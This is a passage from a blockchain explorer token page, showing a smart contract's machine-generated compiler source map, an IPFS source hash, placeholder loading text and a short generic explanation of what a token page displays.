;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5225:6:0;:14;;-1:-1:-1;;;;5225:14:0;;;-1:-1:-1;;;;11720:483:0:o;10361:92::-;10418:10;;:27;;-1:-1:-1;;;;;10418:10:0;;;;:27;;;;;10438:6;;10418:10;:27;:10;:27;10438:6;10418:10;:27;;;;;;;;;;;;;;;;;;;3274:132;3332:7;3359:39;3363:1;3366;3359:39;;;;;;;;;;;;;;;;;:3;:39::i;2491:179::-;2549:7;;2581:5;2585:1;2581;:5;:::i;:::-;2569:17;;2610:1;2605;:6;;2597:46;;;;-1:-1:-1;;;2597:46:0;;13980:2:1;2597:46:0;;;13962:21:1;14019:2;13999:18;;;13992:30;14058:29;14038:18;;;14031:57;14105:18;;2597:46:0;13778:351:1;2678:136:0;2736:7;2763:43;2767:1;2770;2763:43;;;;;;;;;;;;;;;;;:3;:43::i;3414:189::-;3500:7;3535:12;3528:5;3520:28;;;;-1:-1:-1;;;3520:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3559:9:0;3571:5;3575:1;3571;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:134;641:20;;670:31;641:20;670:31;:::i;:::-;573:134;;;:::o;712:367::-;780:6;788;841:2;829:9;820:7;816:23;812:32;809:52;;;857:1;854;847:12;809:52;896:9;883:23;915:31;940:5;915:31;:::i;:::-;965:5;1043:2;1028:18;;;;1015:32;;-1:-1:-1;;;712:367:1:o;1458:508::-;1535:6;1543;1551;1604:2;1592:9;1583:7;1579:23;1575:32;1572:52;;;1620:1;1617;1610:12;1572:52;1659:9;1646:23;1678:31;1703:5;1678:31;:::i;:::-;1728:5;-1:-1:-1;1785:2:1;1770:18;;1757:32;1798:33;1757:32;1798:33;:::i;:::-;1458:508;;1850:7;;-1:-1:-1;;;1930:2:1;1915:18;;;;1902:32;;1458:508::o;2160:247::-;2219:6;2272:2;2260:9;2251:7;2247:23;2243:32;2240:52;;;2288:1;2285;2278:12;2240:52;2327:9;2314:23;2346:31;2371:5;2346:31;:::i;2412:127::-;2473:10;2468:3;2464:20;2461:1;2454:31;2504:4;2501:1;2494:15;2528:4;2525:1;2518:15;2544:1127;2628:6;2681:2;2669:9;2660:7;2656:23;2652:32;2649:52;;;2697:1;2694;2687:12;2649:52;2737:9;2724:23;2770:18;2762:6;2759:30;2756:50;;;2802:1;2799;2792:12;2756:50;2825:22;;2878:4;2870:13;;2866:27;-1:-1:-1;2856:55:1;;2907:1;2904;2897:12;2856:55;2947:2;2934:16;2973:18;2965:6;2962:30;2959:56;;;2995:18;;:::i;:::-;3041:6;3038:1;3034:14;3077:2;3071:9;3140:2;3136:7;3131:2;3127;3123:11;3119:25;3111:6;3107:38;3211:6;3199:10;3196:22;3175:18;3163:10;3160:34;3157:62;3154:88;;;3222:18;;:::i;:::-;3258:2;3251:22;3308;;;3358:2;3388:11;;;3384:20;;;3308:22;3346:15;;3416:19;;;3413:39;;;3448:1;3445;3438:12;3413:39;3480:2;3476;3472:11;3461:22;;3492:148;3508:6;3503:3;3500:15;3492:148;;;3574:23;3593:3;3574:23;:::i;:::-;3562:36;;3627:2;3525:12;;;;3618;3492:148;;;-1:-1:-1;3659:6:1;2544:1127;-1:-1:-1;;;;;;2544:1127:1:o;3884:388::-;3952:6;3960;4013:2;4001:9;3992:7;3988:23;3984:32;3981:52;;;4029:1;4026;4019:12;3981:52;4068:9;4055:23;4087:31;4112:5;4087:31;:::i;:::-;4137:5;-1:-1:-1;4194:2:1;4179:18;;4166:32;4207:33;4166:32;4207:33;:::i;:::-;4259:7;4249:17;;;3884:388;;;;;:::o;4277:127::-;4338:10;4333:3;4329:20;4326:1;4319:31;4369:4;4366:1;4359:15;4393:4;4390:1;4383:15;4409:375;4497:1;4515:5;4529:249;4550:1;4540:8;4537:15;4529:249;;;4600:4;4595:3;4591:14;4585:4;4582:24;4579:50;;;4609:18;;:::i;:::-;4659:1;4649:8;4645:16;4642:49;;;4673:16;;;;4642:49;4756:1;4752:16;;;;;4712:15;;4529:249;;;4409:375;;;;;;:::o;4789:902::-;4838:5;4868:8;4858:80;;-1:-1:-1;4909:1:1;4923:5;;4858:80;4957:4;4947:76;;-1:-1:-1;4994:1:1;5008:5;;4947:76;5039:4;5057:1;5052:59;;;;5125:1;5120:174;;;;5032:262;;5052:59;5082:1;5073:10;;5096:5;;;5120:174;5157:3;5147:8;5144:17;5141:43;;;5164:18;;:::i;:::-;-1:-1:-1;;5220:1:1;5206:16;;5279:5;;5032:262;;5378:2;5368:8;5365:16;5359:3;5353:4;5350:13;5346:36;5340:2;5330:8;5327:16;5322:2;5316:4;5313:12;5309:35;5306:77;5303:203;;;-1:-1:-1;5415:19:1;;;5491:5;;5303:203;5538:42;-1:-1:-1;;5563:8:1;5557:4;5538:42;:::i;:::-;5616:6;5612:1;5608:6;5604:19;5595:7;5592:32;5589:58;;;5627:18;;:::i;:::-;5665:20;;4789:902;-1:-1:-1;;;4789:902:1:o;5696:140::-;5754:5;5783:47;5824:4;5814:8;5810:19;5804:4;5783:47;:::i;5841:168::-;5914:9;;;5945;;5962:15;;;5956:22;;5942:37;5932:71;;5983:18;;:::i;6014:356::-;6216:2;6198:21;;;6235:18;;;6228:30;6294:34;6289:2;6274:18;;6267:62;6361:2;6346:18;;6014:356::o;6375:127::-;6436:10;6431:3;6427:20;6424:1;6417:31;6467:4;6464:1;6457:15;6491:4;6488:1;6481:15;6507:125;6572:9;;;6593:10;;;6590:36;;;6606:18;;:::i;6989:251::-;7059:6;7112:2;7100:9;7091:7;7087:23;7083:32;7080:52;;;7128:1;7125;7118:12;7080:52;7160:9;7154:16;7179:31;7204:5;7179:31;:::i;8158:456::-;8246:6;8254;8262;8315:2;8303:9;8294:7;8290:23;8286:32;8283:52;;;8331:1;8328;8321:12;8283:52;-1:-1:-1;;8376:16:1;;8482:2;8467:18;;8461:25;8578:2;8563:18;;;8557:25;8376:16;;8461:25;;-1:-1:-1;8557:25:1;8158:456;-1:-1:-1;8158:456:1:o;8898:277::-;8965:6;9018:2;9006:9;8997:7;8993:23;8989:32;8986:52;;;9034:1;9031;9024:12;8986:52;9066:9;9060:16;9119:5;9112:13;9105:21;9098:5;9095:32;9085:60;;9141:1;9138;9131:12;11208:128;11275:9;;;11296:11;;;11293:37;;;11310:18;;:::i;12050:135::-;12089:3;12110:17;;;12107:43;;12130:18;;:::i;:::-;-1:-1:-1;12177:1:1;12166:13;;12050:135::o;12190:217::-;12230:1;12256;12246:132;;12300:10;12295:3;12291:20;12288:1;12281:31;12335:4;12332:1;12325:15;12363:4;12360:1;12353:15;12246:132;-1:-1:-1;12392:9:1;;12190:217::o;12814:959::-;13076:4;13124:3;13113:9;13109:19;13155:6;13144:9;13137:25;13198:6;13193:2;13182:9;13178:18;13171:34;13241:3;13236:2;13225:9;13221:18;13214:31;13265:6;13300;13294:13;13331:6;13323;13316:22;13369:3;13358:9;13354:19;13347:26;;13408:2;13400:6;13396:15;13382:29;;13429:1;13439:195;13453:6;13450:1;13447:13;13439:195;;;13518:13;;-1:-1:-1;;;;;13514:39:1;13502:52;;13583:2;13609:15;;;;13574:12;;;;13550:1;13468:9;13439:195;;;-1:-1:-1;;;;;;;13690:32:1;;;;13685:2;13670:18;;13663:60;-1:-1:-1;;13754:3:1;13739:19;13732:35;13651:3;12814:959;-1:-1:-1;;;12814:959:1:o

Swarm Source

ipfs://cace19191058a8944c91eddca14b95b74297eba5c35448632981a4b72d19e2e3
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.